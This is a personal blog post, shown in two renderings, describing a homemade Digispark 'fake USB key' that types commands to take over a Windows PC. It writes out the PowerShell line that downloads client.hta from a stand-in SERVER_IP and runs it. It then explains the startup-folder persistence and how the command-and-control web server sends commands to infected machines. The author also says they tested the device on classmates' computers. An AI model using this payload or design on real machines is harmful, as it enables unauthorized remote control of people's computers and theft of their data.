root `index` legacy
Hacking a Computer Talking about how this USB key can literally take control of a computer wirelessly, from a cell phone! `2020-04-11` Download STL • Buy Digispark Demo I recently posted a video on my YouTube Channel showing how easy it is to take control of a computer with a fake USB key. Here it is: youtube Essentially, when you plug the USB key in a PC, it types commands to give control of your computer to the attacker. Once a computer is infected, you will be able to control it by going to a website from another computer or even from a cell phone! How it Works The fake USB key is in fact made from an arduino-compatible board, a `Digispark`. You can buy some from here. Arduino is an open-source hardware and software company, project and user community that designs and manufactures single-board microcontrollers and microcontroller kits for building digital devices. Wikipedia It also has a custom case, made using 3D printing. You can download the STL file here. Arduino boards are perfect for small electronics projects. However, the `Digispark` is a special Arduino board: it can be programmed to automatically send keystrokes to a computer, and this is the key to easily infect a computer in a matter of seconds. It types commands really fast to download a program from a remote server, which itself copies itself on the computer so that it starts up as soon as the infected computer boots. After that, the attacker goes to the server's `IP` address on a web browser to connect to it. From the web interface, he can send commands in `JavaScript`, `JScript` or even use CMD or PowerShell to do literally everything he wants to the infected computer. Under the Hood What I find most interesting about this project is how it all works under the hood. First, let's talk about the commands typed by the "USB" key (the Digispark) to easily infect a computer. It opens up Windows PowerShell using the Run prompt, and then types the following command: `$p = "$env:temp/client.hta";(New-Object System.Net.WebClient).DownloadFile("http://SERVER_IP/client.hta", $p);cd $env:temp;start -PSPath $p;` What this command does is simple: it navigates to `http://SERVER_IP/client.hta` and downloads the client.hta file onto the user's hard drive, in the `TEMP` directory. Once this is done, it executes it, which copies it on the user's startup folder (so that it runs every time the machine boots up) and constantly pings the server using a `POST` request to see if a command is available. In computing, POST is a request method supported by HTTP used by the World Wide Web. By design, the POST request method requests that a web server accepts the data enclosed in the body of the request message, most likely for storing it. It is often used when uploading a file or when submitting a completed web form. Wikipedia Here is how the server works: When the server is sent a `POST` request, it looks up in its database to see if a command is ready to be sent to the infected computer. If so, it sends the `JavaScript` command as a response to the `POST` request. When the server is sent a `GET` request with the corresponding password, it just responds with the webpage for the attacker, in order to be able to send commands wirelessly. If the `GET` request contains an `IP` address and a command, then it is stored in the database, waiting for an infected computer to ask for its command. As said previously, when this happens, the command is sent to the victim computer for it to execute. Finally, when the server is asked for the `log`, it sends all the commands from the database with their responses from the infected computer, so that they can be displayed on the attacker's web interface. Final Words This is a project that took me a while to polish down to its final shape. Now that it is completed, I am really happy with the result! Even if I do not recommend you do so, I have tested it successfully on my classmates' computers, and their reactions were priceless.
© 2025 Emilien Breton `legacy/Hacking-a-Computer/index.md`

Hacking a Computer

Talking about how this USB key can literally take control of a computer wirelessly, from a cell phone! 2020-04-11

Demo

I recently posted a video on my YouTube Channel showing how easy it is to take control of a computer with a fake USB key. Here it is:

youtube

Essentially, when you plug the USB key in a PC, it types commands to give control of your computer to the attacker. Once a computer is infected, you will be able to control it by going to a website from another computer or even from a cell phone!

How it Works

The fake USB key is in fact made from an arduino-compatible board, a Digispark. You can buy some from here.

Arduino is an open-source hardware and software company, project and user community that designs and manufactures single-board microcontrollers and microcontroller kits for building digital devices.

Wikipedia

It also has a custom case, made using 3D printing. You can download the STL file here.

Arduino boards are perfect for small electronics projects. However, the Digispark is a special Arduino board: it can be programmed to automatically send keystrokes to a computer, and this is the key to easily infect a computer in a matter of seconds. It types commands really fast to download a program from a remote server, which itself copies itself on the computer so that it starts up as soon as the infected computer boots.

After that, the attacker goes to the server's IP address on a web browser to connect to it. From the web interface, he can send commands in JavaScript, JScript or even use CMD or PowerShell to do literally everything he wants to the infected computer.

Under the Hood

What I find most interesting about this project is how it all works under the hood. First, let's talk about the commands typed by the "USB" key (the Digispark) to easily infect a computer. It opens up Windows PowerShell using the Run prompt, and then types the following command:

$p = "$env:temp/client.hta";(New-Object System.Net.WebClient).DownloadFile("http://SERVER_IP/client.hta", $p);cd $env:temp;start -PSPath $p;

What this command does is simple: it navigates to http://SERVER_IP/client.hta and downloads the client.hta file onto the user's hard drive, in the TEMP directory. Once this is done, it executes it, which copies it on the user's startup folder (so that it runs every time the machine boots up) and constantly pings the server using a POST request to see if a command is available.

In computing, POST is a request method supported by HTTP used by the World Wide Web. By design, the POST request method requests that a web server accepts the data enclosed in the body of the request message, most likely for storing it. It is often used when uploading a file or when submitting a completed web form.

Wikipedia

Here is how the server works:

When the server is sent a POST request, it looks up in its database to see if a command is ready to be sent to the infected computer. If so, it sends the JavaScript command as a response to the POST request.
When the server is sent a GET request with the corresponding password, it just responds with the webpage for the attacker, in order to be able to send commands wirelessly. If the GET request contains an IP address and a command, then it is stored in the database, waiting for an infected computer to ask for its command. As said previously, when this happens, the command is sent to the victim computer for it to execute.
Finally, when the server is asked for the log, it sends all the commands from the database with their responses from the infected computer, so that they can be displayed on the attacker's web interface.

Final Words

This is a project that took me a while to polish down to its final shape. Now that it is completed, I am really happy with the result! Even if I do not recommend you do so, I have tested it successfully on my classmates' computers, and their reactions were priceless.